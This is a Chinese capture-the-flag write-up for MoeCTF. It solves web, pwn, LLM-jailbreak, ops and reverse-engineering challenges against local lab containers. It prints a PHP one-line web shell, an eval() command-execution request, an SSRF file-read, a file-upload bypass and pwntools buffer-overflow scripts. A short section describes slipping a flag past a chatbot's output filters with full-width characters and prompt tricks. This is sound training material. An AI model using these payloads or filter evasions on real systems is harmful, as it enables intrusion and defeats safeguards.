参赛感受
WebSocketReflectorX 的转发延迟实在是有点高,这对于做题而言似乎有些小难受,不知道明年是否能够解决?
以及非常感谢强力队友 ChatGPT 在本次比赛中发挥的巨大作用(笑)。
Web渗透测试与审计
00 -
01 - 弗拉格之地的入口
02 - 垫刀之路01: MoeCTF?启动!
03 - ez_http
首先使用 WSRX 穿透,访问网站发现提示要使用 POST 方法进行访问:
使用如下 Python 程序访问:
import requests
r = requests.post('http://127.0.0.1:33025/')
print(r)
得知需要发送参数 imou=sb
:
改成如下脚本:
import requests
r = requests.post('http://127.0.0.1:33025', data = { 'imoau' : 'sb' })
print(r.text)
又得知需要发送 GET 形式参数:
改成如下脚本:
import requests
r = requests.post('http://127.0.0.1:330255?xt=大帅b', data = { 'imoau' : 'sb' })
print(r.text)
之后得知需要改 source:
参考了一下这篇文章:https://blog.csdn.net/weixin_44953600/article/details/107515973,得知 Referer 的存在。
Referer
: Referer 请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer 请求头识别访问来源,可能会以此进行统计分析、日志记录以及缓存优化等。参考:https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Referer
改成如下脚本:
import requests
r = requests.post('http://127.0.0.1:330255?xt=大帅b', data = { 'imoau' : 'sb' }, headers = {'Referer':'https://www.xidian.edu.cn/'})
print(r.text)
得知需要设置 cookie(吐槽一下,好多套娃 - -"'
):
脚本更改为如下:
import requests
r = requests.post('http://127.0.0.1:33025?xt=大帅b', data = { 'imoau' : 'sb' }, headers = {'Referer':'https://www.xidian.edu.cn/'}, cookies = { 'user' : 'admin' } )
print(r.text)
然后又要改浏览器标识:
脚本更改为如下:
import requests
r = requests.post('http://127.0.0.1:33025?xt=大帅b', data = { 'imoau' : 'sb' }, headers = { 'Referer':'https://www.xidian.edu.cn/', 'User-Agent' : 'MoeDedicatedBrowser' }, cookies = { 'user' : 'admin' } )
print(r.text)
又要改成标识为本地请求?
参考博客园上的这篇文章:https://www.cnblogs.com/IMBlackMs/p/11272848.html,添加 X-Forwarded-For
参数:
X-Forwarded-For
:X-Forwarded-For(XFF)请求标头是一个事实上的用于标识通过代理服务器连接到 web 服务器的客户端的原始 IP 地址的标头。参考:https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/X-Forwarded-For
import requests
r = requests.post('http://127.0.0.1:33025?xt=大帅b', data = { 'imoau' : 'sb' }, headers = { 'Referer':'https://www.xidian.edu.cn/', 'User-Agent' : 'MoeDedicatedBrowser', 'X-Forwarded-For' : '127.0.0.1' }, cookies = { 'user' : 'admin' } )
print(r.text)
总算拿到 flag:
04 - ProveYourLove
打开是个奇怪的页面:
直接填写表单提交似乎没啥用处,F12 开申。
首先看到对表单提交次数有检查:
document.getElementById('confessionForm').addEventListener('submit', function(event) {
event.preventDefault(); // 阻止表单的默认提交行为
// 检查设备是否已提交过表白
if (localStorage.getItem('confessionSubmitted')) {
alert('您已经提交过表白,不能重复提交。');
return;
}
因为获取的是本地存储,所以可以每次提交过后直接在 F12 的 console 中输入如下命令进行绕过:
localStorage.removeItem('confessionSubmitted')
接下来没有太看到存在什么漏洞,继续审计,发现网页上支持动态载入数据的部分(应该是这么叫吧?),其数据来源于路径 /confession_count
:
document.addEventListener('DOMContentLoaded', function() {
// 获取当前表白份数
fetch('/confession_count')
.then(response => response.json())
.then(data => {
document.getElementById('confessionCount').textContent = data.count;
document.getElementById('flag').textContent = data.flag;
document.getElementById('Qixi_flag').textContent = data.Qixi_flag;
})
.catch(error => {
console.error('Error:', error);
});
});
访问这个路径确实可以看到 JSON 格式的结果,但似乎也没有别的了:
申了大半天没看出来有啥漏洞,最后看题目描述说 300份才能证明你的爱
,尝试编写如下 Python 脚本进行自动求爱:
import requests
data = '''{
"nickname":"test",
"user_gender":"male",
"target":"test",
"target_gender":"male",
"message":"test",
"anonymous":"false"
}'''
headers = {
'Content-Type': 'application/json'
}
for i in range(300):
requests.post('http://127.0.0.1:41913/questionnaire', data = data, headers = headers)
运行结束后再访问页面(wsrx 的延迟似乎比想象中长不少,又或许是题目环境的限制,总之最后等了约莫半个多小时),获取 flag:
所以说这题的考点其实不是 Web 漏洞,而是自动化脚本编写?
以及更痛苦的是打到一半容器被关了…似乎除了超时以外,请求超过 300 次也会关容器?
05 - 弗拉格之地的挑战
进去之后是个朴素的指引界面:
跟着指引跳转,之后打开 F12 发现注释:
二次跳转,提示通过“网络”传输,打开 Network
,在响应头里看到下一步的路径:
然后要求传一个 a
作为 get 参数:
接下来要传 b
作为 post 的参数:
写 Python:
r = requests.post('http://127.0.0.1:41665/flag3cad.php?a=114514', data = { 'b' : 1919810 })
接下来提示要改 Cookie:
看了看响应头里说要设置 verify
这个字段:
加上:
r = requests.post('http://127.0.0.1:41665/flag3cad.php?a=114514', data = { 'b' : 1919810 }, cookies = { 'verify' : 'admin' })
得知需要继续前往下一个路径:
点开提示要我们伪造访问源:
伪造一下 Referer
字段:
r = requests.post('http://127.0.0.1:41665/flag4bbc.php', headers = { 'Referer' : 'http://localhost:8080/flag3cad.php?a=1' })
发现需要 console:
重新打开 Burp Suite,Proxy->intercept 修改请求:
然后直接在 console 里改 button ID:
查看 console.log()
:
继续前往下一步,先被嘲笑一番:
F12 申一下看到逻辑在 checkValue()
里:
直接自己重写一个:
function checkValue() {
var content = document.forms["form"]["content"].value;
if (content == "I want flag") {
return true;
} else {
return false;
}
}
放到命令行里替换掉:
重新提交字符串,拿到第五截 flag:
来到下一关,经典的 PHP 代码审计:
preg_match()
在 PHP 中用作正则匹配,/
用以分割匹配模式,/flag/
表示匹配包含 flag
的字符串,而 /flag/i
的 i
表示忽视大小写,因此我们只需要把参数改为大写的 FLAG
即可:
r = requests.post('http://127.0.0.1:41665/flag6diw.php?moe=FLAG', data = { 'moe' : 'FLAG' })
拿到第六截 flag:
前往最后一关,只有一个最简单的 PHP 的 eval()
,这个函数的特性是会直接转换我们的输入为 PHP:
eval()
的特性使得我们可以直接在服务端执行 PHP 代码(大概如此?),所以我们只需要直接 POST 参数为 PHP 的 system()
就能直接 RCE:
r = requests.post('http://127.0.0.1:41665/flag7fxxkfinal.php', data = { 'what' : '''system("ls");''' } )
r = requests.post('http://127.0.0.1:41665/flag7fxxkfinal.php', data = { 'what' : '''system("cat /flag7");''' } )
拿到最后一截 flag:
最后合起来 base64 一下就行了。
06 - ImageCloud前置
下载附件,只有一个 index.html
和一个 index.php
,直接开审:
<?php
$url = $_GET['url'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$res = curl_exec($ch);
$image_info = getimagesizefromstring($res);
$mime_type = $image_info['mime'];
header('Content-Type: ' . $mime_type);
curl_close($ch);
echo $res;
?>
发现有个 SSRF 漏洞:这个 PHP 程序会直接将我们给的参数作为请求的链接进行访问,所以我们可以很容易读取服务器上的任意文件。
例如使用 file:
协议:
拿到 flag:
07 - 垫刀之路02: 普通的文件上传
首先开 F12 审计,页面有两个按钮,一个是读取文件,一个是上传文件:
简单传个文件试试,发现会把文件内容 base64 编码后更新到页面里,并存放在服务器的 uploads
目录下:
直接传个一句话木马上去:
<?php system($_GET['cmd']); ?>
然后访问 /uploads/test.php?cmd=
就能任意代码执行了,在环境变量里发现 flag:
08 - 垫刀之路03: 这是一个图床
做题时参考了 https://blog.csdn.net/jayq1/article/details/139420350,学到很多O.o。
F12 开审,和上一题不同的是这一次限制了文件后缀名只能是合法图片:
因为是前端校验,所以直接 Burp Suite 启动!将原本的一句话木马后缀改成 .png
,拦截过了校验后发往 upload.php
的请求,再将后缀改成 .php
(否则服务端不会执行):
似乎应当也能直接用 Python 伪造请求…?
然后就是快乐的拿 flag 时间了:
09 - 垫刀之路04: 一个文件浏览器
进去是一个文件浏览器(FTP?):
可以直接目录穿越:
给了个假 flag:
随便开个奇怪的文件,通过报错信息得到源码路径:
简单审计一下,好像确实没啥别的漏洞了:
本来以为有啥别的技巧,翻了翻发现 flag 在 /tmp
目录下,感觉没啥必要在根目录再放一个假的 flag…
10 - 垫刀之路05: 登陆网站
F12 开审,好像没啥明显的漏洞:
推测应该是 SQL 注入一类的,
二进制漏洞审计
00 - 二进制漏洞审计入门指北
看完指北,直接开环境 nc 就行:
01 - NotEnoughTime
NC 上去,发现是个定时解数学题:
手写一个简单的 Parser,注意这里得按纯整数运算:
from pwn import *
context.log_level = 'debug'
class Exp:
target = ''
port = 0
conn = None
def __init__(self, target: str, port: int = 0):
self.target = target
self.port = port
def Connect(self, is_remote: bool = False):
if is_remote:
self.conn = remote(self.target, self.port)
else:
self.conn = process(self.target)
def Attack(self):
self.conn.recvuntil(b'Test start, you have only 30 seconds.')
while True:
ch = self.conn.recv(1)
if not (ch[0] >= ord('0') and ch[0] <= ord('9')):
continue
formula = ch
while True:
ch = self.conn.recv(1)
if ch != b'=':
if ch != b'\n':
formula += ch
if ch == b'/':
formula += b'/'
else:
break
print(formula)
res = eval(formula)
self.conn.sendline(str(int(res)))
def exp_main(target: str, port: int = 0):
exp = Exp(target, port)
exp.Connect(is_remote = True)
exp.Attack()
if __name__ == '__main__':
exp_main('127.0.0.1', 43255)
拿到 flag:
02 - no_more_gets
首先拖入 IDA 分析,有一个比较明显的 gets() 溢出:
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s1[80]; // [rsp+0h] [rbp-A0h] BYREF
char s2[80]; // [rsp+50h] [rbp-50h] BYREF
init(argc, argv, envp);
arc4random_buf(s1, 80LL);
write(1, "This is my own shell, enter the password or get out.\n", 0x36uLL);
gets(s2);
if ( !strncmp(s1, s2, 0x50uLL) )
my_shell();
else
write(1, "Password wrong!\n", 0x11uLL);
return 0;
}
checksec 检查一下,没有保护,比较朴素:
直接覆盖返回地址为 my_shell()
:
from pwn import *
context.log_level = 'debug'
class Exp:
target = ''
port = 0
conn = None
def __init__(self, target: str, port: int = 0):
self.target = target
self.port = port
def Connect(self, is_remote: bool = False):
if is_remote:
self.conn = remote(self.target, self.port)
else:
self.conn = process(self.target)
def Attack(self):
self.conn.recvuntil(b"This is my own shell, enter the password or get out.\n")
self.conn.sendline(b"A" * 0x58 + p64(0x401176))
self.conn.interactive()
def exp_main(target: str, port: int = 0):
exp = Exp(target, port)
exp.Connect(is_remote = True)
exp.Attack()
if __name__ == '__main__':
exp_main('127.0.0.1', 44851)
看着像成了,结果死了:
查了查说是栈没对齐,加个 ret 就好了:
from pwn import *
context.log_level = 'debug'
class Exp:
target = ''
port = 0
conn = None
def __init__(self, target: str, port: int = 0):
self.target = target
self.port = port
def Connect(self, is_remote: bool = False):
if is_remote:
self.conn = remote(self.target, self.port)
else:
self.conn = process(self.target)
def Attack(self):
self.conn.recvuntil(b"This is my own shell, enter the password or get out.\n")
self.conn.sendline(b"A" * 0x58 + p64(0x4011A4) + p64(0x401176))
self.conn.interactive()
def exp_main(target: str, port: int = 0):
exp = Exp(target, port)
exp.Connect(is_remote = True)
exp.Attack()
if __name__ == '__main__':
exp_main('127.0.0.1', 44851)
拿到 shell:
大模型语言安全
00 - Neuro?
01 - Evil?
玩了几轮,flag 被吞了好几次,AI 也没法正确给出逆序后的 flag,后面想到应该是对内容和 moectf{}
都做了过滤,所以进行替换裁切:
02 - 并非助手
一开始想写一段国产剧情,结果发现长度被限制了:
三个字符能玩的空间不多,只能直接来了,没想到没过滤直接出了:
03 - 并非并非
高强度过滤,输入输出都不能有 ASCII Printable,而且单个对话只能接着写一次,玩了半天几乎没咋让大模型说几句话。
原本想用中文替换数字,以及其他的英文换表方式,最后都不太行,根本原因之一是输入被限制到二十个字符,没法写比较详细的 prompt,之二是输入指令就算做了限制,大模型也不会乖乖输出。
后面弄了半天,也问了不少(不打这个比赛的)老师同学,还问了问 GPT,了解到可以用全角字符替换半角字符,但是也没法直接输出全角字符:
最后还是想到诱导公式:
一次不知道为什么只输出几个字符,需要多次补全:
开发与运维基础
00 - 运维入门指北
比较苦力活的一级,找 ChatGPT 要了个脚本:
#!/bin/bash
# 删除所有 .bak 文件
rm -f *.bak
# 重命名所有 .xml 文件为 .html
for file in *.xml; do
mv "$file" "${file%.xml}.html"
done
# 创建文件夹并移动文件
for file in *; do
if [[ -f "$file" ]]; then
prefix=${file:0:2} # 前缀的前两位
sub_prefix=${file:2:2} # 前缀的中间两位
# 创建目录
mkdir -p "$prefix/$sub_prefix"
# 移动文件
mv "$file" "$prefix/$sub_prefix/"
fi
done
拿到 flag:
01 - 哦不!我的libc!
libc 没了,很多程序没法执行:
但是 flag 是明文存储的,可以直接想办法干出来:
感觉应该还有更常规的办法?例如使用 busybox 之类的
逆向工程
00 - 逆向工程入门指北
给的文档里有个 C++ 程序:
#include <iostream>
int main()
{
char password_enc[] = {
123, 121, 115, 117, 98, 112, 109, 100, 37, 96, 37, 100, 101, 37, 73, 39,
101, 73, 119, 73, 122, 121, 120, 113, 73, 122, 121, 120, 113, 73, 97, 119,
111, 73, 98, 121, 73, 115, 110, 102, 122, 121, 100, 115, 107, 22 };
// 因为a^b=c时, b^c=a, 所以我们可以这样还原数据:
char password[47];
for (int i = 0; i < 46; i++) {
password[i] = password_enc[i] ^ 22;
}
password[46] = 0; // 使用0字符来截断掉%s的无尽输出..
printf("%s\n", password); // 哈哈,这就是本题的f l a g,自己运行一下交上去吧!
return 0;
}
编译并运行,得到 flag:
出题人似乎不太会写 C/C++ 程序?包含了 iostream 但是用 printf
+没有用任何 std 命名空间
总感觉看着怪怪的,当然也可能只是我的错觉hhh
完成指北后咱们就知道逆向应该用 IDA 来完成了,在 https://ctf-wiki.org/reverse/tools/static-analyze/ida/ 上得知这个程序正版似乎挺贵的,但是对于最常见的 X86 逆向而言可以用免费工具 IDA Free
而无需直接购买,穷苦 CTFer 狂喜!!!
不过对于风滚草用户而言,似乎需要额外安装如下的库:
sudo zypper in libgthread-2_0-0
01 - xor
解压附件获得一个 xor.exe
,拖入 IDA 中得到主逻辑如下:
- 将输入的每个字节与
0x24
做异或操作,并与byte_1400022B8
上数据进行对比:
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rax
__int64 i; // rax
char Buffer[16]; // [rsp+20h] [rbp-48h] BYREF
__int128 v7; // [rsp+30h] [rbp-38h]
__int64 v8; // [rsp+40h] [rbp-28h]
int v9; // [rsp+48h] [rbp-20h]
char v10; // [rsp+4Ch] [rbp-1Ch]
sub_140001010("Input Your Flag moectf{xxx} (len = 45) \n");
v8 = 0LL;
*(_OWORD *)Buffer = 0LL;
v9 = 0;
v7 = 0LL;
v10 = 0;
v3 = _acrt_iob_func(0);
fgets(Buffer, 45, v3);
for ( i = 0LL; i < 44; ++i )
{
if ( ((unsigned __int8)Buffer[i] ^ 0x24) != byte_1400022B8[i] )
{
sub_140001010("FLAG is wrong!\n");
system("pause");
exit(0);
}
}
sub_140001010("FLAG is RIGHT!\n");
system("pause");
return 0;
}
不难想到我们输入的应当是 flag,由于异或操作有可逆性,所以我们只需要将 byte_1400022B8
上的数据逐字节与 0x24
做异或即可。
解题脚本如下:
# 从 IDA Hex View 手动复制出来的,不知道还有什么更快捷的办法?
raw = '49 4B 41 47 50 42 5F 41 1C 16 46 10 13 1C 40 09 42 16 46 1C 09 10 10 42 1D 09 46 15 14 14 09 17 16 14 41 40 40 16 14 47 12 40 14 59'.split(' ')
cipher = [int('0x' + i, base = 16) for i in raw if i]
plain = bytes([i ^ 0x24 for i in cipher]).decode()
print(plain)
# moectf{e82b478d-f2b8-44f9-b100-320edd20c6d0}
02 - upx
UPX 似乎是一种加密的壳,咱们首先先在电脑上安装这个小程序:
sudo zypper in upx
然后解密附件:
upx -d upx.exe
接下来拖入 IDA 进行 F5,直接就能看到 flag:
int __fastcall main(int argc, const char **argv, const char **envp)
{
char Str2[40]; // [rsp+20h] [rbp-38h] BYREF
strcpy(Str2, "You Will Never Know The Right Flag!!!\n");
if ( !strcmp("moectf{ec5390dd-f8cf-4b02-bc29-3bb0c5604c29}", Str2) )
sub_140001010("FLAG is RIGHT!\n");
else
sub_140001010("%s");
system("pause");
return 0;
}
03 - dynamic
拖入 IDA 进行 F5,主函数的逻辑看着有点怪:
int __fastcall main_0(int argc, const char **argv, const char **envp)
{
char *v3; // rdi
__int64 i; // rcx
char v6; // [rsp+20h] [rbp+0h] BYREF
char v7[80]; // [rsp+28h] [rbp+8h] BYREF
int v8[56]; // [rsp+78h] [rbp+58h] BYREF
v3 = &v6;
for ( i = 34LL; i; --i )
{
*(_DWORD *)v3 = -858993460;
v3 += 4;
}
j___CheckForDebuggerJustMyCode(&unk_140022067, argv, envp);
v7[0] = -94;
v7[1] = 5;
v7[2] = 105;
v7[3] = -117;
v7[4] = -38;
v7[5] = 23;
v7[6] = 5;
v7[7] = -31;
v7[8] = -36;
v7[9] = -52;
v7[10] = -52;
v7[11] = -63;
v7[12] = 100;
v7[13] = 116;
v7[14] = -6;
v7[15] = 80;
v7[16] = -43;
v7[17] = -95;
v7[18] = -102;
v7[19] = -84;
v7[20] = -36;
v7[21] = -34;
v7[22] = 100;
v7[23] = -65;
v7[24] = -108;
v7[25] = 45;
v7[26] = 35;
v7[27] = -13;
v7[28] = 1;
v7[29] = -43;
v7[30] = 98;
v7[31] = -56;
v7[32] = -22;
v7[33] = -83;
v7[34] = -46;
v7[35] = -42;
v7[36] = 42;
v7[37] = 80;
v7[38] = 94;
v7[39] = 107;
v7[40] = 115;
v7[41] = 12;
v7[42] = -3;
v7[43] = -116;
v7[44] = 61;
v7[45] = 56;
v7[46] = 61;
v7[47] = -47;
v8[0] = -889275714;
v8[1] = -559038242;
v8[2] = 866566;
v8[3] = 1131796;
sub_14001129E(v7, 4294967284LL, v8);
sub_1400113D4("What happened to my Flag?\n");
sub_14001129E(v7, 12LL, v8);
sub_1400113D4("Your Flag has REencrypted.");
return 0;
}
sub_1400113D4()
简单跟了一下,感觉应该是 printf()
,而 sub_14001129E()
似乎是加解密的核心逻辑,但是跟进去到 sub_140011820()
似乎就不太是人能看得懂的逻辑了,总而言之我没有太看明白555:
__int64 __fastcall sub_140011820(int *a1, __int64 a2, __int64 a3)
{
__int64 result; // rax
unsigned int v4; // [rsp+24h] [rbp+4h]
unsigned int v5; // [rsp+24h] [rbp+4h]
unsigned int v6; // [rsp+44h] [rbp+24h]
unsigned int v7; // [rsp+44h] [rbp+24h]
unsigned int v8; // [rsp+44h] [rbp+24h]
unsigned int v9; // [rsp+64h] [rbp+44h]
unsigned int v10; // [rsp+64h] [rbp+44h]
unsigned int j; // [rsp+84h] [rbp+64h]
int i; // [rsp+84h] [rbp+64h]
int v13; // [rsp+A4h] [rbp+84h]
int v14; // [rsp+A4h] [rbp+84h]
int v15; // [rsp+C4h] [rbp+A4h]
unsigned int v16; // [rsp+C4h] [rbp+A4h]
int v17; // [rsp+194h] [rbp+174h]
int v18; // [rsp+194h] [rbp+174h]
int v19; // [rsp+194h] [rbp+174h]
int v20; // [rsp+194h] [rbp+174h]
int v22; // [rsp+1C8h] [rbp+1A8h]
int v23; // [rsp+1C8h] [rbp+1A8h]
v22 = a2;
result = j___CheckForDebuggerJustMyCode(&unk_140022067, a2, a3);
if ( v22 <= 1 )
{
if ( v22 < -1 )
{
v23 = -v22;
v14 = 52 / v23 + 6;
v10 = 1131796 * v14;
v5 = *a1;
do
{
v16 = (v10 >> 2) & 3;
for ( i = v23 - 1; i; --i )
{
v7 = a1[i - 1];
v19 = a1[i]
- (((v7 ^ *(_DWORD *)(a3 + 4LL * (v16 ^ i & 3))) + (v5 ^ v10)) ^ (((16 * v7) ^ (v5 >> 3))
+ ((4 * v5) ^ (v7 >> 5))));
a1[i] = v19;
v5 = v19;
}
v8 = a1[v23 - 1];
v20 = *a1
- (((v8 ^ *(_DWORD *)(a3 + 4LL * v16)) + (v5 ^ v10)) ^ (((16 * v8) ^ (v5 >> 3)) + ((4 * v5) ^ (v8 >> 5))));
*a1 = v20;
v5 = v20;
v10 -= 1131796;
result = (unsigned int)--v14;
}
while ( v14 );
}
}
else
{
v13 = 52 / v22 + 6;
v9 = 0;
v6 = a1[v22 - 1];
do
{
v9 += 1131796;
v15 = (v9 >> 2) & 3;
for ( j = 0; j < v22 - 1; ++j )
{
v4 = a1[j + 1];
v17 = (((v6 ^ *(_DWORD *)(a3 + 4LL * (v15 ^ j & 3))) + (v4 ^ v9)) ^ (((16 * v6) ^ (v4 >> 3))
+ ((4 * v4) ^ (v6 >> 5))))
+ a1[j];
a1[j] = v17;
v6 = v17;
}
v18 = (((v6 ^ *(_DWORD *)(a3 + 4LL * (v15 ^ j & 3))) + (*a1 ^ v9)) ^ (((16 * v6) ^ ((unsigned int)*a1 >> 3))
+ ((4 * *a1) ^ (v6 >> 5))))
+ a1[v22 - 1];
a1[v22 - 1] = v18;
v6 = v18;
result = (unsigned int)--v13;
}
while ( v13 );
}
return result;
}